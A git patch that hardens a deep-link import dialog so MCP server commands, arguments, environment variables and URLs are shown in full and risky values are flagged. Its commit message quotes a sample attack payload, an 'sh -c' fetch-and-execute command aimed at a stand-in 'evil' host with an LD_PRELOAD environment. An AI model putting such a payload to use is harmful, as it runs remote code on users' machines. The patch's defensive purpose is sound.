From a443eae95a0580a2fccbb34742e52716e4526710 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 28 Jul 2026 22:48:21 +0800 Subject: [PATCH] fix(deeplink): surface MCP args/env and flag risky values on import The MCP confirmation rendered only `Command: ${spec.command}`, inside a `truncate` container, and showed neither `args` nor `env`. The realistic payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an `env` carrying LD_PRELOAD -- therefore displayed as a harmless `Command: sh`. On confirm it is written to `~/.claude.json` and the other live files, and the CLI spawns it on next launch. Render command, args, url and env on separate lines, expanding args item by item rather than joining them: the payload usually sits inside one argument, and joining then truncating is exactly how it stayed hidden. `break-all` replaces `truncate` so nothing is clipped out of view. Rows matching a `classify*` helper are marked, with a summary block underneath since per-row markers are easy to skim past. The provider side already listed env keys and values; it gains the same highlighting, `break-all`, and an endpoint marker, and now shares `maskValue` with the MCP view. Show the "written to the target apps immediately" warning unconditionally. It was gated on `request.enabled`, but the MCP import path never reads that field -- `deeplink/mcp.rs` has no reference to it and calls `set_enabled_for(&app, true)` unconditionally, unlike prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let a malicious link omit `enabled` to suppress the warning while the write behaviour stayed identical, turning the warning into a switch the attacker controls. New i18n keys added to all four locales (zh/en/ja/zh-TW). --- src/components/DeepLinkImportDialog.tsx | 137 +++++++++++--------- src/components/deeplink/McpConfirmation.tsx | 133 +++++++++++++++++-- src/i18n/locales/en.json | 13 +- src/i18n/locales/ja.json | 13 +- src/i18n/locales/zh-TW.json | 13 +- src/i18n/locales/zh.json | 13 +- 6 files changed, 241 insertions(+), 81 deletions(-) diff --git a/src/components/DeepLinkImportDialog.tsx b/src/components/DeepLinkImportDialog.tsx index 05acafa89..49299eb7c 100644 --- a/src/components/DeepLinkImportDialog.tsx +++ b/src/components/DeepLinkImportDialog.tsx @@ -17,6 +17,12 @@ import { PromptConfirmation } from "./deeplink/PromptConfirmation"; import { McpConfirmation } from "./deeplink/McpConfirmation"; import { SkillConfirmation } from "./deeplink/SkillConfirmation"; import { ProviderIcon } from "./ProviderIcon"; +import { + classifyEndpoint, + classifyEnvKey, + maskValue, + riskI18nKey, +} from "@/utils/deeplinkRisk"; interface DeeplinkError { url: string; @@ -277,16 +283,28 @@ export function DeepLinkImportDialog() { } }, [request?.config, request?.app]); - // Helper to mask sensitive values - const maskValue = (key: string, value: string): string => { - const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"]; - const isSensitive = sensitiveKeys.some((k) => - key.toUpperCase().includes(k), + /** + * env 行:值经 `maskValue` 脱敏,键命中加载器控制变量时标记。 + * + * `break-all` 而非 `truncate`——被截断的值等于没展示。 + */ + const EnvRow = ({ envKey, value }: { envKey: string; value: string }) => { + const risk = classifyEnvKey(envKey); + return ( +
+ + {risk && } + {envKey} + + {maskValue(envKey, value)} +
); - if (isSensitive && value.length > 8) { - return `${value.substring(0, 8)}${"*".repeat(12)}`; - } - return value; }; const getTitle = () => { @@ -391,22 +409,37 @@ export function DeepLinkImportDialog() { {t("deeplink.endpoint")}
- {request.endpoint?.split(",").map((ep, idx) => ( -
- {idx === 0 ? "🔹 " : "└ "} - {ep.trim()} - {idx === 0 && request.endpoint?.includes(",") && ( - - ({t("deeplink.primaryEndpoint")}) - - )} -
- ))} + {request.endpoint?.split(",").map((ep, idx) => { + const endpointRisk = classifyEndpoint(ep.trim()); + return ( +
+ {idx === 0 ? "🔹 " : "└ "} + {endpointRisk && ( + + )} + {ep.trim()} + {idx === 0 && request.endpoint?.includes(",") && ( + + ({t("deeplink.primaryEndpoint")}) + + )} + {endpointRisk && ( +
+ {t(riskI18nKey(endpointRisk))} +
+ )} +
+ ); + })}
@@ -527,17 +560,11 @@ export function DeepLinkImportDialog() {
{Object.entries(parsedConfig.env).map( ([key, value]) => ( -
- - {key} - - - {maskValue(key, String(value))} - -
+ envKey={key} + value={String(value)} + /> ), )}
@@ -552,21 +579,17 @@ export function DeepLinkImportDialog() {
Auth:
- {Object.entries(parsedConfig.auth).map( - ([key, value]) => ( -
- - {key} - - - {maskValue(key, String(value))} - -
- ), - )} +
+ {Object.entries(parsedConfig.auth).map( + ([key, value]) => ( + + ), + )} +
)} {parsedConfig.tomlConfig && ( @@ -590,17 +613,11 @@ export function DeepLinkImportDialog() {
{Object.entries(parsedConfig.env).map( ([key, value]) => ( -
- - {key} - - - {maskValue(key, String(value))} - -
+ envKey={key} + value={String(value)} + /> ), )}
diff --git a/src/components/deeplink/McpConfirmation.tsx b/src/components/deeplink/McpConfirmation.tsx index c2fb9074b..d3291505f 100644 --- a/src/components/deeplink/McpConfirmation.tsx +++ b/src/components/deeplink/McpConfirmation.tsx @@ -2,6 +2,14 @@ import { useMemo } from "react"; import { useTranslation } from "react-i18next"; import { DeepLinkImportRequest } from "../../lib/api/deeplink"; import { decodeBase64Utf8 } from "../../lib/utils/base64"; +import { + classifyCommand, + classifyEndpoint, + classifyEnvKey, + maskValue, + riskI18nKey, + type RiskKind, +} from "@/utils/deeplinkRisk"; export function McpConfirmation({ request, @@ -25,6 +33,47 @@ export function McpConfirmation({ const targetApps = request.apps?.split(",") || []; const serverCount = Object.keys(mcpServers || {}).length; + // 汇总所有条目命中的风险,在底部给一句总的提示——逐行的 ⚠ 容易被划过去。 + const risks = useMemo(() => { + const found = new Set(); + for (const spec of Object.values(mcpServers || {}) as any[]) { + const commandRisk = classifyCommand(spec?.command, spec?.args); + if (commandRisk) found.add(commandRisk); + if (typeof spec?.url === "string") { + const urlRisk = classifyEndpoint(spec.url); + if (urlRisk) found.add(urlRisk); + } + for (const key of Object.keys(spec?.env || {})) { + const envRisk = classifyEnvKey(key); + if (envRisk) found.add(envRisk); + } + } + return [...found]; + }, [mcpServers]); + + /** 一行 key/value。`break-all` 而非 `truncate`:payload 不得被 CSS 藏起来。 */ + const Row = ({ + label, + value, + risk, + }: { + label: string; + value: string; + risk?: RiskKind | null; + }) => ( +
+ {label} + + {risk && } + {value} + +
+ ); + return (

{t("deeplink.mcp.title")}

@@ -51,25 +100,83 @@ export function McpConfirmation({
{mcpServers && - Object.entries(mcpServers).map(([id, spec]: [string, any]) => ( -
-
{id}
-
- {spec.command - ? `Command: ${spec.command} ` - : `URL: ${spec.url} `} + Object.entries(mcpServers).map(([id, spec]: [string, any]) => { + const commandRisk = classifyCommand(spec?.command, spec?.args); + const argv: string[] = Array.isArray(spec?.args) + ? spec.args.map(String) + : []; + const env: Record = spec?.env || {}; + + return ( +
+
{id}
+
+ {spec?.command && ( + + )} + {/* 逐项展开而不是 join(" "):payload 常常整条藏在某一个 arg 里, + 拼成一行再 truncate 正是它此前得以隐身的原因。 */} + {argv.map((arg, index) => ( + + ))} + {spec?.url && ( + + )} + {Object.entries(env).map(([key, value], index) => ( + + ))} +
-
- ))} + ); + })}
- {request.enabled && ( -
- ⚠️ - {t("deeplink.mcp.enabledWarning")} + {risks.length > 0 && ( +
+ {risks.map((kind) => ( +
+ + {t(riskI18nKey(kind))} +
+ ))}
)} + + {/* + 无条件显示,不看 `request.enabled`。 + MCP 导入路径**根本不读这个字段**——`deeplink/mcp.rs` 里全文没有它, + 而 `:196` 是无条件的 `merged.set_enabled_for(&app, true)`。 + (prompt.rs / skill.rs / provider.rs 各自读了 `request.enabled`,唯独 MCP 没有, + 所以很容易误以为这里也生效。) + 挂条件的后果是:恶意链接省略 `enabled` 就能让这条警告消失,而写入行为 + 一模一样——把提示变成了可被攻击者关掉的开关。 + */} +
+ ⚠️ + {t("deeplink.mcp.enabledWarning")} +
); } diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 71a02d342..54c5eaa4b 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -2483,7 +2483,11 @@ "title": "Batch Import MCP Servers", "targetApps": "Target Apps", "serverCount": "MCP Servers ({{count}})", - "enabledWarning": "After import, configurations will be written to all specified apps immediately" + "enabledWarning": "After import, configurations will be written to all specified apps immediately", + "command": "Command", + "args": "Args", + "env": "Env", + "url": "URL" }, "prompt": { "title": "Import System Prompt", @@ -2508,7 +2512,12 @@ "usageApiKey": "Usage API Key", "usageBaseUrl": "Usage Query URL", "usageAutoInterval": "Auto Query", - "usageAutoIntervalValue": "Every {{minutes}} minutes" + "usageAutoIntervalValue": "Every {{minutes}} minutes", + "risk": { + "envHijack": "This config sets environment variables that change how processes load code (e.g. injecting libraries or replacing CA certificates). Import only from a source you trust.", + "privateEndpoint": "This address points at localhost or a private network. Do not import unless it is your own local service.", + "shellCommand": "This config runs a full command line through a shell — what actually executes is in the arguments. Review each line." + } }, "iconPicker": { "search": "Search Icons", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index db7f37b25..d1d8a80bb 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -2483,7 +2483,11 @@ "title": "MCP サーバーを一括インポート", "targetApps": "ターゲットアプリ", "serverCount": "MCP サーバー({{count}} 件)", - "enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます" + "enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます", + "command": "コマンド", + "args": "引数", + "env": "環境変数", + "url": "URL" }, "prompt": { "title": "システムプロンプトをインポート", @@ -2508,7 +2512,12 @@ "usageApiKey": "使用量 API キー", "usageBaseUrl": "使用量クエリ URL", "usageAutoInterval": "自動クエリ", - "usageAutoIntervalValue": "{{minutes}} 分ごと" + "usageAutoIntervalValue": "{{minutes}} 分ごと", + "risk": { + "envHijack": "この設定には、プロセスの読み込み動作を変える環境変数(ライブラリの注入、CA 証明書の差し替えなど)が含まれています。信頼できる提供元か確認してください。", + "privateEndpoint": "このアドレスはローカルホストまたは内部ネットワークを指しています。自分で立てたローカルサービス以外はインポートしないでください。", + "shellCommand": "この設定はシェル経由でコマンド全体を実行します。実際に動作する内容は引数にあります。1 行ずつ確認してください。" + } }, "iconPicker": { "search": "アイコンを検索", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index f6bc8c30d..f5bddb351 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -2454,7 +2454,11 @@ "title": "批次匯入 MCP Servers", "targetApps": "目標應用程式", "serverCount": "MCP Servers ({{count}} 個)", - "enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔" + "enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔", + "command": "命令", + "args": "參數", + "env": "環境", + "url": "位址" }, "prompt": { "title": "匯入系統提示詞", @@ -2479,7 +2483,12 @@ "usageApiKey": "用量 API Key", "usageBaseUrl": "用量查詢位址", "usageAutoInterval": "自動查詢", - "usageAutoIntervalValue": "每 {{minutes}} 分鐘" + "usageAutoIntervalValue": "每 {{minutes}} 分鐘", + "risk": { + "envHijack": "該設定包含可改變處理程序載入行為的環境變數(例如注入動態程式庫、替換 CA 憑證),請確認來源可信。", + "privateEndpoint": "該位址指向本機或內部網路。若非你自建的本機服務,請勿匯入。", + "shellCommand": "該設定透過 shell 執行整段命令,實際執行的內容在參數裡,請逐行核對。" + } }, "iconPicker": { "search": "搜尋圖示", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 271db76bc..a4f7cee6c 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -2483,7 +2483,11 @@ "title": "批量导入 MCP Servers", "targetApps": "目标应用", "serverCount": "MCP Servers ({{count}} 个)", - "enabledWarning": "导入后将立即写入所有指定应用的配置文件" + "enabledWarning": "导入后将立即写入所有指定应用的配置文件", + "command": "命令", + "args": "参数", + "env": "环境", + "url": "地址" }, "prompt": { "title": "导入系统提示词", @@ -2508,7 +2512,12 @@ "usageApiKey": "用量 API Key", "usageBaseUrl": "用量查询地址", "usageAutoInterval": "自动查询", - "usageAutoIntervalValue": "每 {{minutes}} 分钟" + "usageAutoIntervalValue": "每 {{minutes}} 分钟", + "risk": { + "envHijack": "该配置包含可改变进程加载行为的环境变量(如注入动态库、替换 CA 证书),请确认来源可信。", + "privateEndpoint": "该地址指向本机或内网。若非你自建的本地服务,请勿导入。", + "shellCommand": "该配置通过 shell 执行一整段命令,实际运行的内容在参数里,请逐行核对。" + } }, "iconPicker": { "search": "搜索图标",